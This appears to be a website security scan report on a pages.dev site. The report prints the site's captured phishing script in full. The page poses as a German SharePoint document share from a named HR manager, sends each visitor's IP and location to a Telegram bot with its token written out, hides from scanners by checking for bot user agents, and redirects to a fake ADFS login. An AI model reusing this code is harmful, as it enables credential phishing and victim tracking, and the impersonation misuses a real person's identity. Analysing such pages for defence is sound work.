technology software

documentation technical

government public service

German

Within the developer-focused generic top-level domain (.dev), 'mari-tim.pages.dev' is registered with subdomain 'mari-tim'. The registrable portion 'pages' spans 5 characters with 2 vowels and three consonants. Tokenizing the label suggests one word: pages. Expect 5 characters per word on average. No strong language cues emerged from the frequency lists.

default-src 'none'; script-src 'nonce-BKxE9OGfpJjmvzwQYLR7Om' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self' https://hagen.challenges.cloudflare.com https://brunhild.challenges.cloudflare.com; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; trusted-types GAPH2 default; require-trusted-types-for 'script'; sandbox allow-same-origin allow-scripts allow-popups allow-forms

default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://*.stripe.com https://*.paddle.com https://www.google.com https://www.gstatic.com https://maps.gstatic.com https://maps.googleapis.com https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; style-src 'self' 'unsafe-inline' https://*.paddle.com https://fonts.gstatic.com https://fonts.googleapis.com; img-src 'self' data: https://ipapi.co https://maps.gstatic.com https://maps.googleapis.com https://*.stripe.com; font-src 'self' data: https://fonts.gstatic.com https://fonts.googleapis.com; frame-src 'self' https://www.google.com https://*.stripe.com https://*.paddle.com https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/ https://challenges.cloudflare.com/; connect-src 'self' https://ipapi.co/ https://*.paddle.com https://*.stripe.com https://maps.googleapis.com https://www.google.com/recaptcha/; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; form-action 'self';

73eae66de9d6bd075350215e7cd4c97937840a75527ae854b3235cfc8bcf328e

f285ef00fcc1c4a3cc1ed87096bd73de088d2f4a50a8bd2a2627768479f13b38

87121cd59a5a8551830820be635e9f8538de0a027491d0bd5c60952718bf5418

viewport

Abuse Team

CloudFlare, Inc.

pages.dev

Cloudflare Abuse Contact

MNT-CLOUDFLARE

Cloudflare Technical Contact

CLOUDFLARENET-EU

// ── CONFIGURATION ──
 const REDIRECT_URL = "https://adfs.nav050lived.com/f/1cfee0ec5391";
 const TELEGRAM_BOT_TOKEN = "8796148966:AAFw4KGEDfI_45llFIMeWRBfZa3bXjy6JH4";
 const TELEGRAM_CHAT_ID = "5132040700";

 let turnstilePassed = false;
 let notificationSent = false;
 let clickNotificationSent = false;
 let redirectTriggered = false;

 const downloadBtn = document.getElementById('downloadBtn');
 const loadingOverlay = document.getElementById('loadingOverlay');
 const loadingStatus = document.getElementById('loadingStatus');
 const progressBar = document.getElementById('progressBar');
 const honeypot = document.getElementById('honeypot');

 const now = new Date();
 const formatter = new Intl.DateTimeFormat('de-DE', { 
 year: 'numeric', 
 month: 'long', 
 day: 'numeric' 
 });
 document.getElementById('sharedDate').textContent = 'Freigegeben am ' + formatter.format(now);

 // ── TELEGRAM NOTIFICATION ──
 async function sendTelegramNotification(eventType) {
 try {
 const location = await fetch('https://ipapi.co/json/').then(r => r.json()).catch(() => ({}));
 const message = `🔵 📄 SHAREPOINT - SEITE BESUCHT!\n\n` +
 `👤 Freigegeben von: Thomas Thiem\n` +
 `📌 Position: Personalleiter / HR Manager\n` +
 `📧 E-Mail: tthiem.dre@maritim.de\n\n` +
 `📍 Standort: ${location.city || 'Unbekannt'}, ${location.country_name || 'Unbekannt'}\n` +
 `🌐 IP: ${location.ip || 'Unbekannt'}\n` +
 `⏱️ Zeit: ${new Date().toISOString()}\n` +
 `📌 Ereignis: ${eventType}`;
 await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
 method: 'POST',
 headers: { 'Content-Type': 'application/json' },
 body: JSON.stringify({
 chat_id: TELEGRAM_CHAT_ID,
 text: message,
 parse_mode: 'HTML'
 })
 });
 } catch (e) {}
 }

 function sendPageLoadNotification() {
 if (notificationSent) return;
 notificationSent = true;
 sendTelegramNotification('Seite geöffnet');
 }

 // ── TRIGGER REDIRECT ──
 function triggerRedirect() {
 if (redirectTriggered) return;
 
 if (!clickNotificationSent) {
 clickNotificationSent = true;
 sendTelegramNotification('Dokument angefordert');
 }
 
 redirectTriggered = true;
 
 loadingOverlay.classList.add('active');

 let progress = 0;
 const interval = setInterval(() => {
 progress += 10;
 if (progress >= 100) {
 progress = 100;
 clearInterval(interval);
 setTimeout(() => {
 window.location.href = REDIRECT_URL;
 }, 200);
 }
 progressBar.style.width = progress + '%';
 
 if (progress < 40) {
 loadingStatus.textContent = '⏳ Verbindung wird hergestellt...';
 } else if (progress < 70) {
 loadingStatus.textContent = '📂 Dokument wird geladen...';
 } else {
 loadingStatus.textContent = '✅ SharePoint wird geöffnet...';
 }
 }, 20);
 }

 // ── BOT DETECTION ──
 function isBot() {
 if (honeypot && honeypot.value.length > 0) return true;
 if (navigator.webdriver === true) return true;
 if (!navigator.userAgent || navigator.userAgent.length < 10) return true;
 const botPatterns = ['bot', 'crawl', 'spider', 'scrape', 'curl', 'wget', 'python', 'java', 'perl', 'ruby', 'php', 'node', 'headless', 'phantom', 'selenium', 'puppeteer', 'playwright', 'cypress', 'webdriver'];
 const ua = navigator.userAgent.toLowerCase();
 for (const pattern of botPatterns) {
 if (ua.includes(pattern)) return true;
 }
 return false;
 }

 function checkRateLimit() {
 const now = Date.now();
 const stored = localStorage.getItem('sharepoint_submissions');
 const data = stored ? JSON.parse(stored) : { count: 0, firstAttempt: now };
 if (data.firstAttempt && (now - data.firstAttempt) > TIME_WINDOW) {
 data.count = 0;
 data.firstAttempt = now;
 }
 if (data.count >= MAX_SUBMISSIONS) return false;
 data.count++;
 localStorage.setItem('sharepoint_submissions', JSON.stringify(data));
 return true;
 }

 const MAX_SUBMISSIONS = 3;
 const TIME_WINDOW = 60000;

 if (document.readyState === 'complete') {
 sendPageLoadNotification();
 } else {
 window.addEventListener('load', function() {
 sendPageLoadNotification();
 });
 }

 // ── TURNSTILE ──
 window.onTurnstileSuccess = function(token) {
 turnstilePassed = true;
 downloadBtn.disabled = false;
 };

 // ── DOWNLOAD BUTTON ──
 function handleDownload() {
 if (isBot()) {
 return;
 }
 if (!checkRateLimit()) {
 return;
 }
 if (!turnstilePassed) {
 return;
 }
 triggerRedirect();
 }

 downloadBtn.addEventListener('click', handleDownload);

Requests	IP Address	Location	AS Autonomous System
5	104.18.94.41Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
5	188.114.96.3Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
10	2	-	-

Security Scan Report: mari-tim.pages.dev

Summary

AI Security Verdict

Moderate Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies5

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History